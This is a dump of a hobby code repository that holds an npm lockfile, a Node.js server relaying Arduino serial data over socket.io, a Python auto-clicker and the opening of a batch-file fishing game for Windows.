"sha512-+EUsqGPLsM+j/zdChZjsnX51g4XrHFOIXwfnCVPGlQk/k5giakcKsuxCObBRu6DSm9opw/O6slWbJdghQM4bBg==" 472 | }, 473 | "node-abi": { 474 | "version": "2.21.0", 475 | "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-2.21.0.tgz", 476 | "integrity": "sha512-smhrivuPqEM3H5LmnY3KU6HfYv0u4QklgAxfFyRNujKUzbUcYZ+Jc2EhukB9SRcD2VpqhxM7n/MIcp1Ua1/JMg==", 477 | "requires": { 478 | "semver": "^5.4.1" 479 | } 480 | }, 481 | "noop-logger": { 482 | "version": "0.1.1", 483 | "resolved": "https://registry.npmjs.org/noop-logger/-/noop-logger-0.1.1.tgz", 484 | "integrity": "sha1-lKKxYzxPExdVMAfYlm/Q6EG2pMI=" 485 | }, 486 | "npmlog": { 487 | "version": "4.1.2", 488 | "resolved": "https://registry.npmjs.org/npmlog/-/npmlog-4.1.2.tgz", 489 | "integrity": "sha512-2uUqazuKlTaSI/dC8AzicUck7+IrEaOnN/e0jd3Xtt1KcGpwx30v50mL7oPyr/h9bL3E4aZccVwpwP+5W9Vjkg==", 490 | "requires": { 491 | "are-we-there-yet": "~1.1.2", 492 | "console-control-strings": "~1.1.0", 493 | "gauge": "~2.7.3", 494 | "set-blocking": "~2.0.0" 495 | } 496 | }, 497 | "number-is-nan": { 498 | "version": "1.0.1", 499 | "resolved": "https://registry.npmjs.org/number-is-nan/-/number-is-nan-1.0.1.tgz", 500 | "integrity": "sha1-CXtgK1NCKlIsGvuHkDGDNpQaAR0=" 501 | }, 502 | "object-assign": { 503 | "version": "4.1.1", 504 | "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", 505 | "integrity": "sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM=" 506 | }, 507 | "once": { 508 | "version": "1.4.0", 509 | "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", 510 | "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=", 511 | "requires": { 512 | "wrappy": "1" 513 | } 514 | }, 515 | "parseqs": { 516 | "version": "0.0.6", 517 | "resolved": "https://registry.npmjs.org/parseqs/-/parseqs-0.0.6.tgz", 518 | "integrity": "sha512-jeAGzMDbfSHHA091hr0r31eYfTig+29g3GKKE/PPbEQ65X0lmMwlEoqmhzu0iztID5uJpZsFlUPDP8ThPL7M8w==" 519 | }, 520 | "parseuri": { 521 | "version": "0.0.6", 522 | "resolved": "https://registry.npmjs.org/parseuri/-/parseuri-0.0.6.tgz", 523 | "integrity": "sha512-AUjen8sAkGgao7UyCX6Ahv0gIK2fABKmYjvP4xmy5JaKvcbTRueIqIPHLAfq30xJddqSE033IOMUSOMCcK3Sow==" 524 | }, 525 | "prebuild-install": { 526 | "version": "6.0.1", 527 | "resolved": "https://registry.npmjs.org/prebuild-install/-/prebuild-install-6.0.1.tgz", 528 | "integrity": "sha512-7GOJrLuow8yeiyv75rmvZyeMGzl8mdEX5gY69d6a6bHWmiPevwqFw+tQavhK0EYMaSg3/KD24cWqeQv1EWsqDQ==", 529 | "requires": { 530 | "detect-libc": "^1.0.3", 531 | "expand-template": "^2.0.3", 532 | "github-from-package": "0.0.0", 533 | "minimist": "^1.2.3", 534 | "mkdirp-classic": "^0.5.3", 535 | "napi-build-utils": "^1.0.1", 536 | "node-abi": "^2.7.0", 537 | "noop-logger": "^0.1.1", 538 | "npmlog": "^4.0.1", 539 | "pump": "^3.0.0", 540 | "rc": "^1.2.7", 541 | "simple-get": "^3.0.3", 542 | "tar-fs": "^2.0.0", 543 | "tunnel-agent": "^0.6.0", 544 | "which-pm-runs": "^1.0.0" 545 | } 546 | }, 547 | "process-nextick-args": { 548 | "version": "2.0.1", 549 | "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", 550 | "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==" 551 | }, 552 | "pump": { 553 | "version": "3.0.0", 554 | "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", 555 | "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", 556 | "requires": { 557 | "end-of-stream": "^1.1.0", 558 | "once": "^1.3.1" 559 | } 560 | }, 561 | "rc": { 562 | "version": "1.2.8", 563 | "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz", 564 | "integrity": "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==", 565 | "requires": { 566 | "deep-extend": "^0.6.0", 567 | "ini": "~1.3.0", 568 | "minimist": "^1.2.0", 569 | "strip-json-comments": "~2.0.1" 570 | } 571 | }, 572 | "readable-stream": { 573 | "version": "2.3.7", 574 | "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", 575 | "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", 576 | "requires": { 577 | "core-util-is": "~1.0.0", 578 | "inherits": "~2.0.3", 579 | "isarray": "~1.0.0", 580 | "process-nextick-args": "~2.0.0", 581 | "safe-buffer": "~5.1.1", 582 | "string_decoder": "~1.1.1", 583 | "util-deprecate": "~1.0.1" 584 | } 585 | }, 586 | "safe-buffer": { 587 | "version": "5.1.2", 588 | "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", 589 | "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" 590 | }, 591 | "semver": { 592 | "version": "5.7.1", 593 | "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", 594 | "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==" 595 | }, 596 | "serialport": { 597 | "version": "9.0.7", 598 | "resolved": "https://registry.npmjs.org/serialport/-/serialport-9.0.7.tgz", 599 | "integrity": "sha512-NeDfVks3JAJ7s8cXDopx1iUUgC/7TaltE7iQGiSewIWMZaK7oStiz3VJzcuKgor7F+U/y6zbAnj4i6eHq0on+g==", 600 | "requires": { 601 | "@serialport/binding-mock": "^9.0.7", 602 | "@serialport/bindings": "^9.0.7", 603 | "@serialport/parser-byte-length": "^9.0.7", 604 | "@serialport/parser-cctalk": "^9.0.7", 605 | "@serialport/parser-delimiter": "^9.0.7", 606 | "@serialport/parser-inter-byte-timeout": "^9.0.7", 607 | "@serialport/parser-readline": "^9.0.7", 608 | "@serialport/parser-ready": "^9.0.7", 609 | "@serialport/parser-regex": "^9.0.7", 610 | "@serialport/stream": "^9.0.7", 611 | "debug": "^4.3.1" 612 | } 613 | }, 614 | "set-blocking": { 615 | "version": "2.0.0", 616 | "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz", 617 | "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc=" 618 | }, 619 | "signal-exit": { 620 | "version": "3.0.3", 621 | "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.3.tgz", 622 | "integrity": "sha512-VUJ49FC8U1OxwZLxIbTTrDvLnf/6TDgxZcK8wxR8zs13xpx7xbG60ndBlhNrFi2EMuFRoeDoJO7wthSLq42EjA==" 623 | }, 624 | "simple-concat": { 625 | "version": "1.0.1", 626 | "resolved": "https://registry.npmjs.org/simple-concat/-/simple-concat-1.0.1.tgz", 627 | "integrity": "sha512-cSFtAPtRhljv69IK0hTVZQ+OfE9nePi/rtJmw5UjHeVyVroEqJXP1sFztKUy1qU+xvz3u/sfYJLa947b7nAN2Q==" 628 | }, 629 | "simple-get": { 630 | "version": "3.1.0", 631 | "resolved": "https://registry.npmjs.org/simple-get/-/simple-get-3.1.0.tgz", 632 | "integrity": "sha512-bCR6cP+aTdScaQCnQKbPKtJOKDp/hj9EDLJo3Nw4y1QksqaovlW/bnptB6/c1e+qmNIDHRK+oXFDdEqBT8WzUA==", 633 | "requires": { 634 | "decompress-response": "^4.2.0", 635 | "once": "^1.3.1", 636 | "simple-concat": "^1.0.0" 637 | } 638 | }, 639 | "socket.io": { 640 | "version": "2.5.0", 641 | "resolved": "https://registry.npmjs.org/socket.io/-/socket.io-2.5.0.tgz", 642 | "integrity": "sha512-gGunfS0od3VpwDBpGwVkzSZx6Aqo9uOcf1afJj2cKnKFAoyl16fvhpsUhmUFd4Ldbvl5JvRQed6eQw6oQp6n8w==", 643 | "requires": { 644 | "debug": "~4.1.0", 645 | "engine.io": "~3.6.0", 646 | "has-binary2": "~1.0.2", 647 | "socket.io-adapter": "~1.1.0", 648 | "socket.io-client": "2.5.0", 649 | "socket.io-parser": "~3.4.0" 650 | }, 651 | "dependencies": { 652 | "debug": { 653 | "version": "4.1.1", 654 | "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", 655 | "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", 656 | "requires": { 657 | "ms": "^2.1.1" 658 | } 659 | } 660 | } 661 | }, 662 | "socket.io-adapter": { 663 | "version": "1.1.2", 664 | "resolved": "https://registry.npmjs.org/socket.io-adapter/-/socket.io-adapter-1.1.2.tgz", 665 | "integrity": "sha512-WzZRUj1kUjrTIrUKpZLEzFZ1OLj5FwLlAFQs9kuZJzJi5DKdU7FsWc36SNmA8iDOtwBQyT8FkrriRM8vXLYz8g==" 666 | }, 667 | "socket.io-client": { 668 | "version": "2.5.0", 669 | "resolved": "https://registry.npmjs.org/socket.io-client/-/socket.io-client-2.5.0.tgz", 670 | "integrity": "sha512-lOO9clmdgssDykiOmVQQitwBAF3I6mYcQAo7hQ7AM6Ny5X7fp8hIJ3HcQs3Rjz4SoggoxA1OgrQyY8EgTbcPYw==", 671 | "requires": { 672 | "backo2": "1.0.2", 673 | "component-bind": "1.0.0", 674 | "component-emitter": "~1.3.0", 675 | "debug": "~3.1.0", 676 | "engine.io-client": "~3.5.0", 677 | "has-binary2": "~1.0.2", 678 | "indexof": "0.0.1", 679 | "parseqs": "0.0.6", 680 | "parseuri": "0.0.6", 681 | "socket.io-parser": "~3.3.0", 682 | "to-array": "0.1.4" 683 | }, 684 | "dependencies": { 685 | "debug": { 686 | "version": "3.1.0", 687 | "resolved": "https://registry.npmjs.org/debug/-/debug-3.1.0.tgz", 688 | "integrity": "sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==", 689 | "requires": { 690 | "ms": "2.0.0" 691 | } 692 | }, 693 | "isarray": { 694 | "version": "2.0.1", 695 | "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.1.tgz", 696 | "integrity": "sha512-c2cu3UxbI+b6kR3fy0nRnAhodsvR9dx7U5+znCOzdj6IfP3upFURTr0Xl5BlQZNKZjEtxrmVyfSdeE3O57smoQ==" 697 | }, 698 | "ms": { 699 | "version": "2.0.0", 700 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", 701 | "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==" 702 | }, 703 | "socket.io-parser": { 704 | "version": "3.3.3", 705 | "resolved": "https://registry.npmjs.org/socket.io-parser/-/socket.io-parser-3.3.3.tgz", 706 | "integrity": "sha512-qOg87q1PMWWTeO01768Yh9ogn7chB9zkKtQnya41Y355S0UmpXgpcrFwAgjYJxu9BdKug5r5e9YtVSeWhKBUZg==", 707 | "requires": { 708 | "component-emitter": "~1.3.0", 709 | "debug": "~3.1.0", 710 | "isarray": "2.0.1" 711 | } 712 | } 713 | } 714 | }, 715 | "socket.io-parser": { 716 | "version": "3.4.2", 717 | "resolved": "https://registry.npmjs.org/socket.io-parser/-/socket.io-parser-3.4.2.tgz", 718 | "integrity": "sha512-QFZBaZDNqZXeemwejc7D39jrq2eGK/qZuVDiMPKzZK1hLlNvjGilGt4ckfQZeVX4dGmuPzCytN9ZW1nQlEWjgA==", 719 | "requires": { 720 | "component-emitter": "1.2.1", 721 | "debug": "~4.1.0", 722 | "isarray": "2.0.1" 723 | }, 724 | "dependencies": { 725 | "component-emitter": { 726 | "version": "1.2.1", 727 | "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.2.1.tgz", 728 | "integrity": "sha512-jPatnhd33viNplKjqXKRkGU345p263OIWzDL2wH3LGIGp5Kojo+uXizHmOADRvhGFFTnJqX3jBAKP6vvmSDKcA==" 729 | }, 730 | "debug": { 731 | "version": "4.1.1", 732 | "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", 733 | "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", 734 | "requires": { 735 | "ms": "^2.1.1" 736 | } 737 | }, 738 | "isarray": { 739 | "version": "2.0.1", 740 | "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.1.tgz", 741 | "integrity": "sha512-c2cu3UxbI+b6kR3fy0nRnAhodsvR9dx7U5+znCOzdj6IfP3upFURTr0Xl5BlQZNKZjEtxrmVyfSdeE3O57smoQ==" 742 | } 743 | } 744 | }, 745 | "string-width": { 746 | "version": "1.0.2", 747 | "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", 748 | "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", 749 | "requires": { 750 | "code-point-at": "^1.0.0", 751 | "is-fullwidth-code-point": "^1.0.0", 752 | "strip-ansi": "^3.0.0" 753 | } 754 | }, 755 | "string_decoder": { 756 | "version": "1.1.1", 757 | "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", 758 | "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", 759 | "requires": { 760 | "safe-buffer": "~5.1.0" 761 | } 762 | }, 763 | "strip-ansi": { 764 | "version": "3.0.1", 765 | "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz", 766 | "integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=", 767 | "requires": { 768 | "ansi-regex": "^2.0.0" 769 | } 770 | }, 771 | "strip-json-comments": { 772 | "version": "2.0.1", 773 | "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz", 774 | "integrity": "sha1-PFMZQukIwml8DsNEhYwobHygpgo=" 775 | }, 776 | "tar-fs": { 777 | "version": "2.1.1", 778 | "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.1.tgz", 779 | "integrity": "sha512-V0r2Y9scmbDRLCNex/+hYzvp/zyYjvFbHPNgVTKfQvVrb6guiE/fxP+XblDNR011utopbkex2nM4dHNV6GDsng==", 780 | "requires": { 781 | "chownr": "^1.1.1", 782 | "mkdirp-classic": "^0.5.2", 783 | "pump": "^3.0.0", 784 | "tar-stream": "^2.1.4" 785 | } 786 | }, 787 | "tar-stream": { 788 | "version": "2.2.0", 789 | "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.2.0.tgz", 790 | "integrity": "sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==", 791 | "requires": { 792 | "bl": "^4.0.3", 793 | "end-of-stream": "^1.4.1", 794 | "fs-constants": "^1.0.0", 795 | "inherits": "^2.0.3", 796 | "readable-stream": "^3.1.1" 797 | }, 798 | "dependencies": { 799 | "readable-stream": { 800 | "version": "3.6.0", 801 | "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", 802 | "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", 803 | "requires": { 804 | "inherits": "^2.0.3", 805 | "string_decoder": "^1.1.1", 806 | "util-deprecate": "^1.0.1" 807 | } 808 | } 809 | } 810 | }, 811 | "to-array": { 812 | "version": "0.1.4", 813 | "resolved": "https://registry.npmjs.org/to-array/-/to-array-0.1.4.tgz", 814 | "integrity": "sha512-LhVdShQD/4Mk4zXNroIQZJC+Ap3zgLcDuwEdcmLv9CCO73NWockQDwyUnW/m8VX/EElfL6FcYx7EeutN4HJA6A==" 815 | }, 816 | "tunnel-agent": { 817 | "version": "0.6.0", 818 | "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", 819 | "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=", 820 | "requires": { 821 | "safe-buffer": "^5.0.1" 822 | } 823 | }, 824 | "util-deprecate": { 825 | "version": "1.0.2", 826 | "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", 827 | "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" 828 | }, 829 | "which-pm-runs": { 830 | "version": "1.0.0", 831 | "resolved": "https://registry.npmjs.org/which-pm-runs/-/which-pm-runs-1.0.0.tgz", 832 | "integrity": "sha1-Zws6+8VS4LVd9rd4DKdGFfI60cs=" 833 | }, 834 | "wide-align": { 835 | "version": "1.1.3", 836 | "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.3.tgz", 837 | "integrity": "sha512-QGkOQc8XL6Bt5PwnsExKBPuMKBxnGxWWW3fU55Xt4feHozMUhdUMaBCk290qpm/wG5u/RSKzwdAC4i51YigihA==", 838 | "requires": { 839 | "string-width": "^1.0.2 || 2" 840 | } 841 | }, 842 | "wrappy": { 843 | "version": "1.0.2", 844 | "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", 845 | "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=" 846 | }, 847 | "ws": { 848 | "version": "7.4.6", 849 | "resolved": "https://registry.npmjs.org/ws/-/ws-7.4.6.tgz", 850 | "integrity": "sha512-YmhHDO4MzaDLB+M9ym/mDA5z0naX8j7SIlT8f8z+I0VtzsRbekxEutHSme7NPS2qE8StCYQNUnfWdXta/Yu85A==" 851 | }, 852 | "xmlhttprequest-ssl": { 853 | "version": "1.6.3", 854 | "resolved": "https://registry.npmjs.org/xmlhttprequest-ssl/-/xmlhttprequest-ssl-1.6.3.tgz", 855 | "integrity": "sha512-3XfeQE/wNkvrIktn2Kf0869fC0BN6UpydVasGIeSm2B1Llihf7/0UfZM+eCkOw3P7bP4+qPgqhm7ZoxuJtFU0Q==" 856 | }, 857 | "yeast": { 858 | "version": "0.1.2", 859 | "resolved": "https://registry.npmjs.org/yeast/-/yeast-0.1.2.tgz", 860 | "integrity": "sha512-8HFIh676uyGYP6wP13R/j6OJ/1HwJ46snpvzE7aHAN3Ryqh2yX6Xox2B4CUmTwwOIzlG3Bs7ocsP5dZH/R1Qbg==" 861 | } 862 | } 863 | } 864 | -------------------------------------------------------------------------------- /Arduino Garden Monitor/GardenMon/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "temperature", 3 | "version": "1.0.0", 4 | "description": "TempSensor", 5 | "main": "server.js", 6 | "scripts": { 7 | "start": "node server.js" 8 | }, 9 | "author": "Synthetic Programming", 10 | "license": "ISC", 11 | "dependencies": { 12 | "serialport": "^9.0.7", 13 | "socket.io": "^2.5.0" 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /Arduino Garden Monitor/GardenMon/server.js: -------------------------------------------------------------------------------- 1 | var http = require('http'); 2 | var fs = require('fs'); 3 | 4 | var index = fs.readFileSync('index.html'); 5 | 6 | var SerialPort = require('serialport'); 7 | const parsers = SerialPort.parsers; 8 | const parser = new parsers.Readline({delimiter: '\r\n'}); 9 | 10 | var port = new SerialPort('/COM3', { baudRate: 9600, 11 | dataBits: 8, 12 | parity: 'none', 13 | stopBits: 1, 14 | flowControl: false}); 15 | 16 | port.pipe(parser); 17 | 18 | 19 | var app = http.createServer(function(req, res) { 20 | res.writeHead(200, {'Content-Type': 'text/html'}); 21 | res.end(index); 22 | }); 23 | app.listen(3000); 24 | 25 | var io = require('socket.io').listen(app); 26 | io.on('connection', function (data) { 27 | console.log('Node is listening!'); 28 | }); 29 | 30 | parser.on('data', function(data) { 31 | io.emit('data', data); 32 | }); 33 | 34 | -------------------------------------------------------------------------------- /AutoClicker/README.md: -------------------------------------------------------------------------------- 1 | Project: 2 | - This is the code from the Synthetic Programming video "How to make an Auto Clicker in Python" 3 | - Video: https://www.youtube.com/watch?v=9KiqJXMpDXc 4 | 5 | Includes: 6 | - main.py (Runs the program) 7 | 8 | Note: 9 | - This program runs on Python 10 | 11 | Version: 12 | - Python 3 13 | -------------------------------------------------------------------------------- /AutoClicker/main.py: -------------------------------------------------------------------------------- 1 | import time 2 | import threading 3 | from pynput.mouse import Button, Controller 4 | from pynput.keyboard import Listener, KeyCode 5 | 6 | 7 | delay = 0.01 8 | button = Button.left 9 | start_stop_key = KeyCode(char='s') 10 | exit_key = KeyCode(char='e') 11 | 12 | 13 | class ClickMouse(threading.Thread): 14 | def __init__(self, delay, button): 15 | super(ClickMouse, self).__init__() 16 | self.delay = delay 17 | self.button = button 18 | self.running = False 19 | self.program_running = True 20 | 21 | def start_clicking(self): 22 | self.running = True 23 | 24 | def stop_clicking(self): 25 | self.running = False 26 | 27 | def exit(self): 28 | self.stop_clicking() 29 | self.program_running = False 30 | 31 | def run(self): 32 | while self.program_running: 33 | while self.running: 34 | mouse.click(self.button) 35 | time.sleep(self.delay) 36 | 37 | 38 | mouse = Controller() 39 | click_thread = ClickMouse(delay, button) 40 | click_thread.start() 41 | 42 | 43 | def on_press(key): 44 | if key == start_stop_key: 45 | if click_thread.running: 46 | click_thread.stop_clicking() 47 | else: 48 | click_thread.start_clicking() 49 | elif key == exit_key: 50 | click_thread.exit() 51 | listener.stop() 52 | 53 | 54 | with Listener(on_press=on_press) as listener: 55 | listener.join() -------------------------------------------------------------------------------- /Batch File Fishing RPG/README.md: -------------------------------------------------------------------------------- 1 | Project: 2 | - This is the code from the Synthetic Programming video "Batch File Game: Fishing Tycoon" 3 | - Video: https://www.youtube.com/watch?v=o2dS9FrxeHU 4 | 5 | Includes: 6 | - run.bat (Runs the program) 7 | 8 | Note: 9 | - This program requires Windows OS 10 | 11 | Version: 12 | - Windows OS (any version) 13 | -------------------------------------------------------------------------------- /Batch File Fishing RPG/run.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | mode con cols=65 lines=32 3 | setlocal enabledelayedexpansion 4 | color 0a 5 | title Fishing RPG 6 | 7 | :start1 8 | cls 9 | echo Input a number and press enter\return . . . 10 | echo. 11 | echo 1) Login 12 | echo 2) Create New Account 13 | set /p loginx1=">> " 14 | if not %loginx1% leq 2 goto start1 15 | if %loginx1% equ 1 goto login 16 | echo What do you want your username to be? 17 | set /p username1=">> " 18 | set v1f=0 19 | :findspaces 20 | set x=!v1f! 21 | set Letter%v1f%=!username1:~%x%,1! 22 | if "!Letter%v1f%!" equ " " ( 23 | echo. 24 | echo. 25 | echo Sorry, no spaces allowed in your username... 26 | echo If I allowed you to have spaces 27 | echo in your username, then you 28 | echo wouldn't be able to save you game... 29 | pause >nul 30 | goto start1 31 | ) 32 | if NOT "!Letter%v1f%!" equ "" ( 33 | set /a v1f=%v1f%+1 34 | goto findspaces 35 | ) 36 | echo What do you want your password to be? 37 | set /p password1=">> " 38 | goto beginplaying 39 | 40 | :login 41 | cls 42 | set /p name1=Username: 43 | if not exist "%name1%.bat" ( 44 | echo Invalid username . . . 45 | pause >nul 46 | goto start1 47 | ) 48 | set /p pass1=Password: 49 | call %name1%.bat 50 | if not %password1% equ %pass1% ( 51 | echo Invalid password . . . 52 | pause >nul 53 | goto start1 54 | ) 55 | goto menu 56 | 57 | :beginplaying 58 | set money=500 59 | set crab=0 60 | set shrimp=0 61 | set trout=0 62 | set flounder=0 63 | set shark=0 64 | set salmon=0 65 | set net=0 66 | set cage=0 67 | set harpoon=0 68 | set rod=0 69 | set flyrod=0 70 | set boat1=0 71 | set boat2=0 72 | set boat3=0 73 | set boat4=0 74 | set boat5=0 75 | set boat6=0 76 | set boat7=0 77 | set boat8=0 78 | set shrimprate=1 79 | set crabrate=1 80 | set troutrate=1 81 | set flounderrate=1 82 | set sharkrate=1 83 | set salmonrate=1 84 | set axxx=0 85 | set pcrab=25 86 | set pshrimp=3 87 | set ptrout=7 88 | set pflounder=15 89 | set pshark=50 90 | set psalmon=10 91 | set moa=0 92 | set gwshark=0 93 | set squid=0 94 | set gsquid=0 95 | 96 | :menu 97 | cls 98 | echo Fishing RPG Menu 99 | echo. 100 | Echo 1) Go Fish'n 101 | echo 2) Store 102 | echo 3) Boat Shop 103 | echo 4) Gamble Gold 104 | echo 5) Fish Market 105 | echo 6) Your Items 106 | echo 7) Rich Store 107 | echo 8) Save Game 108 | set /p x1= 109 | if %x1% == 1 goto fishingLoop 110 | if %x1% == 2 goto store 111 | if %x1% == 3 goto boatstore 112 | if %x1% == 4 goto gamble1 113 | if %x1% == 5 goto market1 114 | if %x1% == 6 goto checkitems 115 | if %x1% == 7 goto richstore 116 | if %x1% == 8 goto savegame1 117 | goto menu 118 | 119 | :boatstore 120 | cls 121 | echo Fishing RPG Boat Store 122 | echo. 123 | echo You currently have %money% Gold. 124 | echo. 125 | echo. 126 | echo 1) Shrimp'n Boat: %boat1% 127 | echo. Costs 2,000 Gold. 128 | echo 2) Small Boat: %boat2% 129 | echo. Costs 20,000 Gold. 130 | echo 3) Large Boat: %boat3% 131 | echo. Costs 60,000 Gold. 132 | echo 4) Rich Boat: %boat4% 133 | echo. Costs 150,000 Gold. 134 | echo 5) Pro Boat: %boat5% 135 | echo. Costs 500,000 Gold. 136 | echo 6) Dream Boat: %boat6% 137 | echo. Costs 1,000,000 Gold. 138 | echo 7) Elegant Boat: %boat7% 139 | echo. Costs 3,000,000 Gold. 140 | echo 8) Titanic: %boat8% 141 | echo. Costs 15,000,000 Gold. 142 | echo 9) Goto Menu 143 | set /p v1= 144 | if %v1% == 1 goto boat1 145 | if %v1% == 2 goto boat2 146 | if %v1% == 3 goto boat3 147 | if %v1% == 4 goto boat4 148 | if %v1% == 5 goto boat5 149 | if %v1% == 6 goto boat6 150 | if %v1% == 7 goto boat7 151 | if %v1% == 8 goto boat8 152 | if %v1% == 9 goto menu 153 | goto boatstore 154 | 155 | :boat1 156 | if %money% leq 1999 ( 157 | echo. 158 | echo. 159 | echo You don't have enough Gold. 160 | pause >nul 161 | goto boatstore 162 | ) 163 | set /a money=%money% - 2000 164 | set /a boat1=%boat1%+1 165 | if %shrimprate% neq 1 ( 166 | set /a shrimprate=%shrimprate%+5 167 | ) else ( 168 | set /a shrimprate=%shrimprate%+4 169 | ) 170 | echo. 171 | echo. 172 | echo Boat Purchased. With this boat you can now catch 173 | echo %shrimprate% shrimp at one time. 174 | pause >nul 175 | goto boatstore 176 | :boat2 177 | if %money% leq 19999 ( 178 | echo. 179 | echo. 180 | echo You don't have enough Gold. 181 | pause >nul 182 | goto boatstore 183 | ) 184 | set /a money=%money% - 20000 185 | set /a boat2=%boat2%+1 186 | if %troutrate% neq 1 ( 187 | set /a troutrate=%troutrate%+5 188 | ) else ( 189 | set /a troutrate=%troutrate%+4 190 | ) 191 | echo. 192 | echo. 193 | echo Boat Purchased. With this boat you can now 194 | echo catch %troutrate% trout at one time. 195 | pause >nul 196 | goto boatstore 197 | :boat3 198 | if %money% leq 59999 ( 199 | echo. 200 | echo. 201 | echo You don't have enough Gold. 202 | pause >nul 203 | goto boatstore 204 | ) 205 | set /a money=%money% - 60000 206 | set /a boat3=%boat3%+1 207 | if %troutrate% neq 1 ( 208 | set /a troutrate=%troutrate%+15 209 | ) else ( 210 | set /a troutrate=%troutrate%+14 211 | ) 212 | echo. 213 | echo. 214 | echo Boat Purchased. With this boat you can now 215 | echo catch %troutrate% trout at one time. 216 | pause >nul 217 | goto boatstore 218 | :boat4 219 | if %money% leq 149999 ( 220 | echo. 221 | echo. 222 | echo You don't have enough Gold. 223 | pause >nul 224 | goto boatstore 225 | ) 226 | set /a money=%money% - 150000 227 | set /a boat4=%boat4%+1 228 | if %salmonrate% neq 1 ( 229 | set /a salmonrate=%salmonrate%+10 230 | ) else ( 231 | set /a salmonrate=%salmonrate%+9 232 | ) 233 | echo. 234 | echo. 235 | echo Boat Purchased. With this boat you can now 236 | echo catch %salmonrate% salmon at one time. 237 | pause >nul 238 | goto boatstore 239 | 240 | :boat5 241 | if %money% leq 499999 ( 242 | echo. 243 | echo. 244 | echo You don't have enough Gold. 245 | pause >nul 246 | goto boatstore 247 | ) 248 | set /a money=%money% - 500000 249 | set /a boat5=%boat5%+1 250 | if %flounderrate% neq 1 ( 251 | set /a flounderrate=%flounderrate%+15 252 | ) else ( 253 | set /a flounderrate=%flounderrate%+14 254 | ) 255 | echo. 256 | echo. 257 | echo Boat 